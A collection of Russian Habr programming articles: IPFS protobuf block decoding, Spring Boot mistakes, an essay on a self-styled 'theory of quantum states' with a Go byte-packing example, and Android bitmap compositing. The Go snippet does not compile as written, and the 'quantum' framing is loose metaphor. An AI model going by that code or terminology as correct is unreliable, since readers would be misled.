0x12 >> 3 = 2 (ID: 2)
```
Length-delimited означает что дальше следует varint размер поля в байтах и непосредственно его содержимое. Этот тип используется как для различных вложенных структур так и сырых данных (string, bytes, embedded messages, packed repeated fields). Что в нём определяет уже proto файл.
##### Varint
Расшифруем идентификатор другого типа:
```
0x18 & 0x07 = 0 (Тип: Varint)
0x12 >> 3 = 3 (ID: 3)
```
Varint означает что дальше следует сразу значение в varint. Этот контейнер используется для записи многих типов значений (int32, int64, uint32, uint64, sint32, sint64, bool, enum). Что в нём также определяет proto файл.
#### Разберём block.dag который мы перевели в HEX выше
Для разбора блока можно воспользоваться [сайтом который автоматически разберёт любой Protocol Buffer](https://protogen.marcgravell.com/decode) без использования proto файлов.
```
0x"123F0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E120A696E6465782E68746D6C18000A020801"
```
Разбираем блок и сопоставляем идентификаторам из proto файлов.
**merkledag.proto**
```
// An IPFS MerkleDAG Link
message PBLink {
// multihash of the target object
optional bytes Hash = 1;
// utf string name. should be unique per object
optional string Name = 2;
// cumulative size of target object
optional uint64 Tsize = 3;
}
// An IPFS MerkleDAG Node
message PBNode {
// refs to other objects
repeated PBLink Links = 2;
// opaque user data
optional bytes Data = 1;
}
```
**unixfs.proto**
```
message Data {
enum DataType {
Raw = 0;
Directory = 1;
File = 2;
Metadata = 3;
Symlink = 4;
HAMTShard = 5;
}
required DataType Type = 1;
optional bytes Data = 2;
optional uint64 filesize = 3;
repeated uint64 blocksizes = 4;
optional uint64 hashType = 5;
optional uint64 fanout = 6;
}
```
```
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink PBNode.Links (merkledag.proto)))
3F (Размер: 63 байта)
0A (Тип: 2 (Length-delimited). ID: 1 (PBLink.Hash))
2F (Размер: 47 байта)
01 55 00 2B (CIDv1 Raw Identity 43 байта)
EFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E
= "***Привет мир***"
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink.Name))
0A (Размер: 10 байт)
696E6465782E68746D6C = "index.html"
18 (Тип: 0 (Varint). ID: 3 (PBLink.Size))
00 (Значение: 0)
0A (Тип: 2 (Length-delimited). ID: 1 (PBNode.Data = Data (unixfs.proto)))
02 (Размер: 2 байт)
08 (Тип: 0 (Varint). ID: 1 (Data.Type))
01 (1 == Data.DataType.Directory)
```
Соответственно блок с двумя фалами будет выглядеть так:
```
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink PBNode.Links (merkledag.proto)))
3B (Размер: 59 байт)
0A (Тип: 2 (Length-delimited). ID: 1 (PBLink.Hash))
2F (Размер: 47 байта)
01 55 00 2B (CIDv1 Raw Identity 43 байта)
EFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E
= "***Привет мир***"
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink.Name))
06 (Размер: 6 байт)
312E68746D6C = "1.html"
18 (Тип: 0 (Varint). ID: 3 (PBLink.Size))
00 (Значение: 0)
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink PBNode.Links))
3B (Размер: 59 байт)
0A (Тип: 2 (Length-delimited). ID: 1 (PBLink.Hash))
2F (Размер: 47 байта)
01 55 00 2B (CIDv1 Raw Identity 43 байта)
EFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E
= "***Привет мир***"
12 (Тип: 2 (Length-delimited). ID: 2 (PBLink.Name))
06 (Размер: 6 байт)
322E68746D6C = "2.html"
18 (Тип: 0 (Varint). ID: 3 (PBLink.Size))
00 (Значение: 0)
0A (Тип: 2 (Length-delimited). ID: 1 (PBNode.Data = Data(unixfs.proto)))
02 (Размер: 2 байт)
08 (Тип: 0 (Varint). ID: 1 (Data.Type))
01 (1 == Data.DataType.Directory)
```
То есть поле PBNode.Links(0x12) повторяется столько раз сколько файлов надо поместить в блок.
Для проверки добавим в начале "F 01 70 00" (HEX CIDv1 DAG Identity) и размер DAG блока "7E"(126 байт)
```
F 01 70 00 7E
12 3B 0A 2F 01 55 00 2B EFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E 12 06 312E68746D6C 18 00
12 3B 0A 2F 01 55 00 2B EFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E 12 06 322E68746D6C 18 00
0A 02 08 01
```
Проверяем: [/ipfs/F0170007E123B0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E1206312E68746D6C1800123B0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E1206322E68746D6C18000A020801](https://ipfs.io/ipfs/F0170007E123B0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E1206312E68746D6C1800123B0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E1206322E68746D6C18000A020801)
### Заключение
Надеюсь достаточно дал информации для того чтобы возможно было реализовать создание блоков и идентификаторов. | https://habr.com/ru/post/423073/ | null | ru | null |
# 10 самых распространенных ошибок при работе с платформой Spring. Часть 1
*Всем привет. Сегодня делимся первой частью статьи, перевод которой подготовлен специально для студентов курса [«Разработчик на Spring Framework»](https://otus.pw/jWL8/). Начнём!*
---
Spring — пожалуй, одна из самых популярных платформ разработки на языке Java. Это мощный, но довольно сложный в освоении инструмент. Его базовые концепции довольно легко понять и усвоить, но для того чтобы стать опытным разработчиком на Spring, потребуются время и определенные усилия.
В этой статье мы рассмотрим некоторые из самых распространенных ошибок, совершаемых при работе в Spring и связанных, в частности, с разработкой веб-приложений и использованием платформы Spring Boot. Как отмечается на [веб-сайте Spring Boot](http://projects.spring.io/spring-boot/), в Spring Boot используется *стандартизованный* подход к созданию готовых к эксплуатации приложений, и данная статья будет придерживаться этого подхода. В ней будет дан ряд рекомендаций, которые можно эффективно использовать при разработке стандартных веб-приложений на базе Spring Boot.
На тот случай, если вы не очень хорошо знакомы с платформой Spring Boot, но хотите поэкспериментировать с примерами, приведенными в статье, я создал [GitHub-репозиторий с дополнительными материалами для этой статьи](https://github.com/tkukurin/toptal-spring-common-mistakes). Если в какой-то момент вы немного запутались, читая эту статью, я бы посоветовал вам создать клон этого репозитория и поэкспериментировать с кодом на своем компьютере.
Распространенная ошибка № 1. Переход к слишком низкоуровневому программированию
-------------------------------------------------------------------------------
Мы легко поддаемся этой распространенной ошибке, поскольку [«синдром неприятия чужой разработки»](https://en.wikipedia.org/wiki/Not_invented_here) довольно характерен для программистской среды. Один из его симптомов — постоянное переписывание кусков широко применяемого кода, и этот симптом наблюдается у многих программистов.
Изучение внутреннего устройства и особенностей реализации определенной библиотеки — зачастую полезный, необходимый и интересный процесс, но если вы будете постоянно писать однотипный код, занимаясь низкоуровневой реализацией функций, это может оказаться вредным для вас как для разработчика ПО. Именно поэтому существуют и используются абстракции и такие платформы, как Spring — они избавляют вас от повторяющейся ручной работы и позволяют на более высоком уровне сконцентрироваться на объектах вашей предметной области и логике программного кода.
Поэтому не следует избегать абстракций. Когда в следующий раз вы столкнетесь с необходимостью решить определенную задачу, сначала проведите быстрый поиск и выясните, не встроена ли уже в Spring библиотека, которая решает эту задачу, — вполне вероятно, вы найдете подходящее готовое решение. Одна из таких полезных библиотек — [Project Lombok](https://projectlombok.org/), аннотации из которой я буду использовать в примерах в этой статье. Lombok используется в качестве генератора шаблонного кода, так что ленивый разработчик, который живет в каждом из нас, будет очень рад познакомиться с этой библиотекой. Посмотрите, например, как в Lombok выглядит [стандартный компонент JavaBean](http://stackoverflow.com/questions/3295496/what-is-a-javabean-exactly):
```
@Getter
@Setter
@NoArgsConstructor
public class Bean implements Serializable {
int firstBeanProperty;
String secondBeanProperty;
}
```
Как вы, возможно, уже поняли, приведенный выше код преобразуется в следующий вид:
```
public class Bean implements Serializable {
private int firstBeanProperty;
private String secondBeanProperty;
public int getFirstBeanProperty() {
return this.firstBeanProperty;
}
public String getSecondBeanProperty() {
return this.secondBeanProperty;
}
public void setFirstBeanProperty(int firstBeanProperty) {
this.firstBeanProperty = firstBeanProperty;
}
public void setSecondBeanProperty(String secondBeanProperty) {
this.secondBeanProperty = secondBeanProperty;
}
public Bean() {
}
}
```
Учтите, что вам, скорее всего, придется установить соответствующий подключаемый модуль, если вы захотите использовать Lombok в своей интегрированной среде разработки. Версию этого подключаемого модуля для среды IntelliJ IDEA можно найти [здесь](https://plugins.jetbrains.com/idea/plugin/6317-lombok-plugin).
Распространенная ошибка № 2. «Утечка» внутренних структур
---------------------------------------------------------
Предоставление доступа к внутренним структурам никогда не было хорошей идеей, так как оно ухудшает гибкость модели службы и, как следствие, способствует формированию плохого стиля программирования. «Утечка» внутренних структур проявляется в том, что структура базы данных становится доступна из определенных конечных точек API. Допустим, например, что следующий «старый добрый Java-объект» (POJO) представляет таблицу в вашей базе данных:
```
@Entity
@NoArgsConstructor
@Getter
public class TopTalentEntity {
@Id
@GeneratedValue
private Integer id;
@Column
private String name;
public TopTalentEntity(String name) {
this.name = name;
}
}
```
Допустим, что существует конечная точка, которой необходимо обратиться к данным объекта `TopTalentEntity`. Вернуть экземпляры `TopTalentEntity` выглядит заманчивой идеей, но более гибким решением будет создание нового класса, представляющего данные TopTalentEntity для конечной точки API:
```
@AllArgsConstructor
@NoArgsConstructor
@Getter
public class TopTalentData {
private String name;
}
```
Таким образом, внесение изменений во внутренние компоненты базы данных не потребует дополнительных изменений на уровне служб. Посмотрим, что произойдет, если в класс `TopTalentEntity` будет добавлено поле password для хранения хешей пользовательских паролей в базе данных: если будет отсутствовать коннектор, такой как `TopTalentData`, и разработчик забудет изменить интерфейсную часть службы, это может привести к очень нежелательному раскрытию секретной информации!
Распространенная ошибка № 3. Объединение в коде функций, которые лучше было бы разнести
---------------------------------------------------------------------------------------
Организация кода приложения по мере его разрастания становится все более важной задачей. Как ни странно, большая часть принципов эффективного программирования перестает работать при достижении определенного масштаба разработки, особенно если архитектура приложения не была достаточно хорошо продумана. И одной из самых часто совершаемых ошибок становится объединение в коде функций, которые разумнее реализовать отдельно.
Причиной нарушения принципа [разделения ответственности](https://en.wikipedia.org/wiki/Separation_of_concerns) обычно является добавление новой функциональности в существующие классы. Возможно, это хорошее сиюминутное решение (в частности, оно требует написания меньшего объема кода), но в дальнейшем оно неизбежно становится проблемой, в том числе на этапах тестирования и поддержки кода и между ними. Рассмотрим следующий контроллер, возвращающий `TopTalentData` из репозитория:
```
@RestController
public class TopTalentController {
private final TopTalentRepository topTalentRepository;
@RequestMapping("/toptal/get")
public List getTopTalent() {
return topTalentRepository.findAll()
.stream()
.map(this::entityToData)
.collect(Collectors.toList());
}
private TopTalentData entityToData(TopTalentEntity topTalentEntity) {
return new TopTalentData(topTalentEntity.getName());
}
}
```
На первый взгляд кажется, что в этом фрагменте кода нет каких-то очевидных ошибок. Он предоставляет список объектов `TopTalentData`, который берется из экземпляров класса `TopTalentEntity`. Но если посмотреть на код более внимательно, мы увидим, что в действительности `TopTalentController` выполняет здесь несколько действий, а именно — соотносит запросы с определенной конечной точкой, извлекает данные из репозитория и преобразует объекты, полученные из `TopTalentRepository`, в другой формат. Более «чистое» решение должно разделять эти функции по отдельным классам. Например, это может выглядеть следующим образом:
```
@RestController
@RequestMapping("/toptal")
@AllArgsConstructor
public class TopTalentController {
private final TopTalentService topTalentService;
@RequestMapping("/get")
public List getTopTalent() {
return topTalentService.getTopTalent();
}
}
@AllArgsConstructor
@Service
public class TopTalentService {
private final TopTalentRepository topTalentRepository;
private final TopTalentEntityConverter topTalentEntityConverter;
public List getTopTalent() {
return topTalentRepository.findAll()
.stream()
.map(topTalentEntityConverter::toResponse)
.collect(Collectors.toList());
}
}
@Component
public class TopTalentEntityConverter {
public TopTalentData toResponse(TopTalentEntity topTalentEntity) {
return new TopTalentData(topTalentEntity.getName());
}
}
```
Дополнительное преимущество этой иерархии в том, что она позволяет нам понять, где находится та или иная функция, просто взглянув на имя класса. Впоследствии во время тестирования мы легко можем заменить код любого из этих классов суррогатным кодом, если возникнет такая необходимость.
Распространенная ошибка № 4. Неединообразный код и плохая обработка ошибок
--------------------------------------------------------------------------
Тема единообразия кода не является уникальной именно для Spring (или вообще для Java), но, тем не менее, является важным аспектом, который необходимо учитывать, работая с проектами в Spring. Выбор конкретного стиля программирования может быть темой для обсуждения (и обычно согласуется внутри команды разработчиков или в пределах всей компании), но так или иначе наличие общего стандарта написания кода способствует повышению эффективности работы. Это особенно актуально, если над кодом работают несколько человек. Единообразный код можно передавать от разработчика к разработчику, не тратя много усилий на его сопровождение или на длительные объяснения по поводу того, для чего нужны те или иные классы.
Представим, что есть проект Spring, в котором имеются различные конфигурационные файлы, службы и контроллеры. Соблюдая семантическое единообразие при их именовании, мы создаем структуру, по которой можно легко осуществлять поиск и в которой любой разработчик может легко разобраться с кодом. Например, к именам конфигурационных классов можно добавлять суффикс Config, к именам служб — суффикс Service, а к именам контроллеров — суффикс Controller.
Тема обработки ошибок на стороне сервера тесно связана с темой единообразия кода и заслуживает особого внимания. Если вы когда-либо обрабатывали исключения, поступающие из плохо написанного API-интерфейса, вы, вероятно, знаете, как трудно правильно понять смысл этих исключений, а еще труднее определить, почему, собственно, они возникли.
Как разработчик API-интерфейса в идеале вы бы хотели охватить все конечные точки, с которыми работает пользователь, и привести их к использованию единого формата сообщений об ошибках. Обычно это означает, что необходимо использовать стандартные коды ошибок и их описание и отказываться от сомнительных решений типа выдачи пользователю сообщения «500 Internal Server Error» или результатов трассировки стека (последнего варианта, кстати, нужно избегать всеми силами, так как вы раскрываете внутренние данные, а кроме того, такие результаты трудно обрабатывать на стороне клиента).
Вот, к примеру, как может выглядеть общий формат сообщения об ошибке:
```
@Value
public class ErrorResponse {
private Integer errorCode;
private String errorMessage;
}
```
Формат, похожий на этот, часто встречается в самых популярных API и, как правило, отлично работает, поскольку может быть легко и планомерно задокументирован. Преобразовать исключение в этот формат можно путем добавления аннотации `@ExceptionHandler` к методу (пример аннотации см. в разделе «Распространенная ошибка № 6»).
Распространенная ошибка № 5. Неправильная работа с многопоточностью
-------------------------------------------------------------------
Реализация многопоточности может оказаться сложной задачей вне зависимости от того, применяется она в приложениях для настольных систем или в веб-приложениях, в Spring-проектах или проектах для других платформ. Проблемы, вызываемые параллельным выполнением программ, трудно отследить, и разбираться с ними с помощью отладчика зачастую бывает очень тяжело. Если вы поняли, что имеете дело с ошибкой, связанной с параллельным выполнением, то, скорее всего, вам придется отказаться от отладчика и исследовать код вручную, пока не будет найдена первопричина ошибки. К сожалению, стандартного способа решения таких проблем не существует. В каждом случае необходимо оценивать ситуацию и «атаковать» проблему тем методом, который представляется лучшим в данных условиях.
В идеале вы бы, конечно, хотели полностью избежать ошибок, связанных с многопоточностью. И хотя универсального рецепта здесь нет, некоторые практические рекомендации я все-таки могу предложить.
### Избегайте использования глобальных состояний
Во-первых, всегда помните о проблеме «глобальных состояний». Если вы разрабатываете многопоточное приложение, нужно внимательно отслеживать абсолютно все глобально модифицируемые переменные, а по возможности — избавляться от них вовсе. Если у вас все же есть причина, по которой глобальная переменная должна быть модифицируемой, должным образом реализуйте [синхронизацию](https://docs.oracle.com/javase/tutorial/essential/concurrency/syncmeth.html) и следите за производительностью вашего приложения — следует убедиться, что не происходит замедления его работы из-за добавленных периодов ожидания.
### Избегайте изменяемых объектов
Эта идея исходит прямо из принципов [функционального программирования](https://en.wikipedia.org/wiki/Functional_programming) и, будучи адаптированной под принципы ООП, гласит о том, что следует избегать изменяемых классов и изменяемых состояний. Говоря короче, это означает, что следует воздерживаться от устанавливающих методов (сеттеров) и иметь закрытые поля с модификатором final во всех классах моделей. Единственный момент, когда их значения меняются, — при создании объекта. В этом случае можно быть уверенным, что не возникнут проблемы, связанные с состязанием за ресурсы, и при обращении к свойствам объекта всегда будут получены правильные значения.
### Фиксируйте в журнале важные данные
Оцените, где в приложении могут возникнуть проблемы, и заблаговременно настройте запись в журнал всех важных данных. При возникновении ошибки вы будете рады иметь информацию о том, какие запросы были получены, и сможете лучше понять причины неправильной работы вашего приложения. Однако учтите, что ведение журнала подразумевает дополнительные файловые операции ввода-вывода и им не следует злоупотреблять, так как это может негативно сказаться на производительности приложения.
### Используйте готовые реализации потоков
Когда вам необходимо породить свои потоки (например, для создания асинхронных запросов к различным службам), используйте готовые безопасные реализации потоков вместо создания собственных. В большинстве случаев для создания потоков можно использовать абстракции [ExecutorService](http://www.nurkiewicz.com/2014/11/executorservice-10-tips-and-tricks.html) и эффектные функциональные абстракции [CompletableFuture](http://www.nurkiewicz.com/2014/11/executorservice-10-tips-and-tricks.html) для Java 8. Платформа Spring также позволяет обрабатывать асинхронные запросы с помощью класса [DeferredResult](http://docs.spring.io/spring-framework/docs/4.0.x/spring-framework-reference/html/mvc.html#mvc-ann-async).
Конец первой части.
[Читать вторую часть.](https://habr.com/ru/company/otus/blog/465063/) | https://habr.com/ru/post/464429/ | null | ru | null |
# Теория квантовых состояний: из жизни в код
Привет, ребята!
Расскажу вам о моём вИдении правильного программирования любых систем.
Кратко о себе: программист самоучка, примерно с 1992 года, начинал с ассемблера, крякая через HIEW (Огромное СПАСИБО автору этого замечательного дизассемблера) всякие DOS-игрухи-проги, и прогая всё, что в голову взбредёт - от игр до вирей (домашних и добрых).
\*Фотку взял с wikiИ, понятное дело, я жёстко помешан на производительности / скорости выполнения программ, особенно учитывая тот факт, что первый комп у меня - ИСКРА-1030М (CPU 8086 / HDD 10 MB / FDD 5.25 / RAM 1 MB / CGA / DOS 6.22), примерно как на фото.
К написанию статьи подтолкнул [пост](https://habr.com/ru/post/666904/) о циклических переборах в играх для определения видимости других игроков.
В комментарии к нему, я отметил изначально "тяжёлый" подход, который перебирал значения координат всех игроков на карте, хоть и каталогизируя их с помощью какой-то
R\*-tree - штуковины.
Мне в л.с. пришло сообщение от читателя, который пожелал узнать, как я решаю похожие задачи без переборов, и, по-этому, я пишу здесь.
На примере данной задачи, постараюсь объяснить Вам, как я использую свою **"Теорию квантовых состояний"**.
Такое название я решил использовать в своих мыслях, то есть в общении с самим собой, не найдя иного подходящего названия в интернете.
Вы тоже, читатели, можете использовать это словосочетание в обиходе :)
Идея состоит в осознании того факта, что всё в мире есть глобальная статика, имеющая своё постоянно изменяющееся внутреннее состояние. Некая модульность, состоящая то из планет, то из людей, то из квантов.
Проплывающую мимо Земли планету / звезду / Луну / спутник, мы воспринимаем как целый статичный объект, вИдя его своими глазами с поверхности Земли, хотя внутри этого объекта постоянно происходят изменения на разных уровнях восприятия сенсорными системами различных систем анализа / диагностики / наблюдения, многие из которых недоступны для восприятия человеческим глазом на большом расстоянии без вспомогательных механизмов.
Проходящий мимо нас человек или проезжающий автомобиль воспринимаются нами как статичные объекты, внутри которых постоянно происходят изменения, такие как движения жидкостей внутри сосудов/патрубков, молекул, атомов, электронов, квантов и т.п.
Таким образом, всё во вселенной представлено относительно статичными макро-объектами по отношению к сторонним наблюдателям соответствующего макро-масштаба, с учётом расстояния удалённости и технического оснащения систем восприятия у этих наблюдателей.
И, в то же время, эти объекты состоят из микро-объектов изменяющих своё состояние для одних наблюдателей, оставаясь неизменными для других.
Быть может игра слов в моём тексте окажется сложной для восприятия кому-либо из читателей, но я именно так понимаю эту предметную область в рамках моего прежнего жизненного опыта, как излагаю.
Предположим теперь, что **все модули** в правильном (по моему мнению) программном коде, **живут своей жизнью**, **имея** исключительно и только **своё изменяющееся состояние**, **статус** которого **доступен** для внешних наблюдателей **через API-интерфейс**, в виде, например, передачи параметров в функцию, то есть через механизм вроде телескопа для человеческого глаза, для наблюдения завихрений в кольцах Сатурна (я слабоват в астрономии, если что, могу ошибаться, но смысл должен быть понятен).
Вероятно, что кто-то из читателей готов отметить существование таких ассоциаций, как объектно-ориентированное программирование, классы, структуры и т.п., и что моё заумное название моего супер-заумного подхода является обычным и давно известным фактом, с чем я изначально соглашаюсь, но с оговоркой: это всё механизмы реализации, а моя задача - настроить читателя на понимание того, как воспринимать архитектуру предстоящего строительства чего-либо: в контексте данной истории - программных продуктов.
Таким образом, вместо переборки в цикле координат всех игроков, для сопоставления с областью видимости каждого наблюдателя, я предпочитаю применить свою **"Теорию квантовых состояний"**: пусть игрок, положение которого меняются в рамках систем координат игрового мира, будет являться **частью элемента карты** которая и так прорисовывается, независимо от необходимости трассировки игроков от наблюдателя.
**То есть:**
смена координат игрока - это внутренние изменения объекта, в то время как для наблюдателя - это статичный объект, в рамках одного прорисованного кадра.
### Реализация
Допустим, что 2D-карта игрового мира, имеет размерность 100 \* 100 клеток, где на описание каждой из которых, отводится один байт, со значением от 0 (пустая клетка) до 255, что является восемью битами данных.
Вариантов текстур = 15 штук, значения от 1 до 15,
если указан 0 (ноль), то нет текстуры для прорисовки.
Расход на всё = 4 бита.
Количество одновременных игроков = 15, значения ID от 1 до 15,
если указан 0 (ноль), то на этой клетке карты нет игрока для прорисовки.
Расход на всё = 4 бита.
Итого: мы получаем 8 бит = 1 байт, в котором содержатся тип текстуры + ID игрока, доступные для рендера в этих координатах.
Здесь я не углубляюсь в рассмотрение варианта когда несколько игроков находятся в одинаковых координатах — этот момент легко масштабируется простейшим добавлением соответствующих данных.
Код на Golang, без проверки на граничные значения и т.п.:
`var (
// Слепок карты
gameMap = [100 * 100]byte
// ID игрока
playerID byte
// ID текстуры
textureID byte
// Итоговый байт для клетки карты
readyCell byte
// Координаты игрока и клетки, для наглядности этого примера
x, y int = 5, 7`
`// Смещение на клетку в массиве карты
mapOffset int
)`
`func f () {
// Задаём ID игрока: playerID = 3 = 0000 0011
playerID = 3
// Указываем ID текстуры: textureID = 4 = 0000 0100
textureID = 4
// Начинаем собирать итоговый байт: readyCell = 3 = 0000 0011
readyCell = playerID
// Сдвигаем ID игрока в 4 верхних бита: readyCell = 48 = 0011 0000
readyCell <<= 4
// Помещаем значение текстуры в итоговый байт: readyCell = 52 = 0011 0100
readyCell |= textureID
// Вычисляем клетку для вставки итогового значения,
// здесь 100 = размерность карты по координате х, от 0 до 99
mapOffset = x * 100 + y
// Помещаем итоговое значение в нужную ячейку
gameMap[mapOffset] = readyCell
// Здесь условная "бизнес-нагрузка"
....
// Прорисовка итоговой картинки в Z-буффер
renderFuncZ()
}`
А теперь представьте, насколько мощнее окажется такое решение задачи если мы добавим **вторую карту**, где по схожим координатам будет указан **номер спрайта** изображения прорисовываемого игрока, означающий, например, положения бега / взмаха рукой / уровень здоровья и прочие **состояния объекта**!
Благодаря такому принципу, я строю все проекты, достигая целей высокой производительности, распределённости в горизонтальном масштабировании задач, качестве готового кода.
Сейчас я готовлю к релизу **язык программирования**, который конструирую согласно **"Теории квантовых состояний"**.
Будет здОрово, если кому-то поможет этот пост на практике, став частью эволюции инженерии!
P.S.: Ответить на коммент получается только один раз в день. Если что срочно нужно подсказать, пишите в л.с, пожалуйста.
![]()##### Сергей Попов (Socket Language) | https://habr.com/ru/post/699090/ | null | ru | null |
# Как я ускорил обработку изображений на Android в 15 раз
Как оптимизировать обработку изображений в рантайме, когда необходимо создать 6 изображений, каждое из которых состоит из последовательно наложенных 15-16 PNG, не получив OutOfMemoryException по дороге?
При разработке своего pet-приложения столкнулся с проблемой обработки изображений. Гугление хороших юзкейсов предоставить не смогло, поэтому пришлось ходить по своим граблям и изобретать велосипед самостоятельно.
Также во время разработки произошла миграция с Java на Kotlin, поэтому код в определенный момент будет переведен.
#### Задача
*Приложение для занятий в тренажерном зале. Необходимо построение карты работы мышц по результатам тренировок в рантайме приложения.
Два пола: М и Ж. Рассмотрим вариант М, т. к. для Ж все аналогично.
Должно строится одновременно 6 изображений: 3 периода (одна тренировка, за неделю, за месяц) х 2 вида (спереди, сзади)*
Каждое такое изображение состоит из 15 изображений групп мышц для вида спереди и 14 для вида сзади. Плюс по 1 изображению основы (голова, кисти рук и ступни ног). Итого, чтобы собрать вид спереди необходимо наложить 16 изображений, сзади – 15.
Всего 23 группы мышц для обеих сторон (для тех, у кого 15+14 != 23, небольшое пояснение – некоторые мышцы "видны" с обеих сторон).
Алгоритм наложения в первом приближении:
1. На основе данных завершенных тренировок строится HashMap, String – название группы мышц, Float – степень нагрузки от 0 до 10.
2. Каждая из 23 мышц перекрашивается в цвет от 0 (не участвовала) до 10 (макс. нагрузка).
3. Накладываем перекрашенные изображения мыщц в два изображения (спереди, сзади).
4. Сохраняем все 6 изображений.
Для хранения 31 (16+15) изображения размером 1500х1500 px при 24-битном режиме требуется 31х1500х1500х24бит = 199 MB оперативной памяти. Примерно при превышении ~30-40 МБ вы получаете OutOfMemoryException. Соотвественно, одновременно загрузить все изображения из ресурсов вы не можете, т. к. необходимо освобождать ресурсы для неполучения эксепшена. Это означает, что необходимо последовательно выполнять наложение изображений. Алгоритм трансформируется в следующий:
На основе данных завершенных тренировок строится HashMap, String – мышца, Float – степень нагрузки от 0 до 10.
Цикл для каждого из 6 изображений:
1. Получили ресурс BitmapFactory.decodeResource().
2. Каждая из 23 мышц перекрашивается в цвет от 0 (не участвовала) до 10 (макс. нагрузка).
3. Накладываем перекрашенные изображения мыщц на один Canvas.
4. Bitmap.recycle() освободили ресурс.
Задачу выполняем в отдельном потоке с помощью AsyncTask. В каждом Таске создается последовательно два изображения: вид спереди и сзади.
```
private class BitmapMusclesTask extends AsyncTask {
private final WeakReference> musclesMap;
BitmapMusclesTask(HashMap musclesMap) {
this.musclesMap = new WeakReference<>(musclesMap);
}
@Override
protected DoubleMusclesBitmaps doInBackground(Void... voids) {
DoubleMusclesBitmaps bitmaps = new DoubleMusclesBitmaps();
bitmaps.bitmapBack = createBitmapMuscles(musclesMap.get(), false);
bitmaps.bitmapFront = createBitmapMuscles(musclesMap.get(), true);
return bitmaps;
}
@Override
protected void onPostExecute(DoubleMusclesBitmaps bitmaps) {
super.onPostExecute(bitmaps);
Uri uriBack = saveBitmap(bitmaps.bitmapBack);
Uri uriFront = saveBitmap(bitmaps.bitmapFront);
bitmaps.bitmapBack.recycle();
bitmaps.bitmapFront.recycle();
if (listener != null)
listener.onUpdate(uriFront, uriBack);
}
}
public class DoubleMusclesBitmaps {
public Bitmap bitmapFront;
public Bitmap bitmapBack;
}
```
Вспомогательный класс DoubleMusclesBitmaps нужен только для того, чтобы вернуть две переменные Bitmap-а: вид спереди и сзади. Забегая вперед Java-класс DoubleMusclesBitmaps заменяется на Pair в Kotlin-е.
### Рисование
Цвета colors.xml в ресурсах values.
```
xml version="1.0" encoding="utf-8"?
#BBBBBB
#ffb5cf
#fda9c6
#fa9cbe
#f890b5
#f583ac
#f377a4
#f06a9b
#ee5e92
#eb518a
#e94581
```
Создание одного вида
```
public Bitmap createBitmapMuscles(HashMap musclesMap, Boolean isFront) {
Bitmap musclesBitmap = Bitmap.createBitmap(1500, 1500, Bitmap.Config.ARGB\_8888);
Canvas resultCanvas = new Canvas(musclesBitmap);
for (HashMap.Entry entry : musclesMap.entrySet()) {
int color = Math.round((float) entry.getValue());
//получение цвета программным способом из ресурсов цвета по названию
color = context.getResources().getColor(context.getResources()
.getIdentifier("muscles\_color" + color,
"color", context.getPackageName()));
drawMuscleElement(resultCanvas, entry.getKey(), color);
}
return musclesBitmap;
}
```
Наложение одной мышцы
```
private void drawMuscleElement(Canvas resultCanvas, String drawableName, @ColorInt int color) {
PorterDuff.Mode mode = PorterDuff.Mode.SRC_IN;
Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);
Bitmap bitmapDst = BitmapFactory.decodeResource(context.getResources(),
context.getResources().getIdentifier(drawableName, "drawable", context.getPackageName()));
bitmapDst = Bitmap.createScaledBitmap(bitmapDst, 1500, 1500, true);
paint.setColorFilter(new PorterDuffColorFilter(color, mode));
resultCanvas.drawBitmap(bitmapDst, 0, 0, paint);
bitmapDst.recycle();//освобождение ресурса
}
```
Запускаем генерацию 3 пар изображений.
```
private BitmapMusclesTask taskLast;
private BitmapMusclesTask taskWeek;
private BitmapMusclesTask taskMonth;
private void startImageGenerating(){
taskLast = new BitmapMusclesTask(mapLast);
taskLast.execute();
taskWeek = new BitmapMusclesTask(mapWeek);
taskWeek.execute();
taskMonth = new BitmapMusclesTask(mapMonth);
taskMonth.execute();
}
```
Запускаем startImageGenerating():
```
> start 1549350950177
> finish 1549350959490 diff=9313 ms
```
Необходимо отметить, что очень много времени занимает чтение ресурсов. Для каждой пары изображений декодируется 29 PNG-файлов из ресурсов. В моем случае из общих затрат на создание изображений функция BitmapFactory.decodeResource() тратит ~75% времени: ~6960 ms.
Минусы:
1. Периодически получаю OutOfMemoryException.
2. Обработка занимает более 9 секунд, и это на эмуляторе(!) В "среднем" (старом моем) телефоне доходило до 20 секунд.
3. AsyncTask со всеми вытекающими утечками [памяти].
Плюсы:
С вероятностью (1-OutOfMemoryException) изображения рисуются.
### AsyncTask в IntentService
Для ухода от AsyncTask решено было перейти на IntentServiсe, в котором выполнялось задание по созданию изображений. После завершения работы сервиса, при наличия запущенного BroadcastReceiver-а получаем Uri всех шести сгенерированных изображений, иначе просто изображения сохранялись, для того, чтобы при следующем открытии пользователем приложения не было необходимости ожидать процесс создания. Время работы при этом никак не изменилось, но с одним минусом – утечками памяти разобрались, осталось еще два минуса.
Заставлять пользователей ожидать создание изображений такое количество времени, конечно же, нельзя. Нужно оптимизировать.
